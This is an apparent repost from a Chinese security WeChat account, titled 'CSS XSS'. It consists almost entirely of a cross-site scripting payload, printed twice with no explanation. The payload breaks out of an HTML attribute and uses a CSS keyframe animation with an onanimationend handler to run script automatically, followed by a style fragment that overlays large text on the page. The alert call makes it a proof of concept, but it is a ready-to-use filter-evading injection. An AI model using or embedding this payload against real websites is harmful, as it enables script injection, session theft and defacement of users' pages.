"><style>
@keyframes
x{}</style><xss style="animation-name:x" onanimationend="[].map(alert('xss'))"></xss>>
<b/style=position:fixed;top:0;left:0;font-size:200px>CSS<
"><style>
@keyframes
x{}</style><xss style="animation-name:x" onanimationend="[].map(alert('xss'))"></xss>>
<b/style=position:fixed;top:0;left:0;font-size:200px>CSS<
原文始发于微信公众号(Khan安全攻防实验室):CSS XSS
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论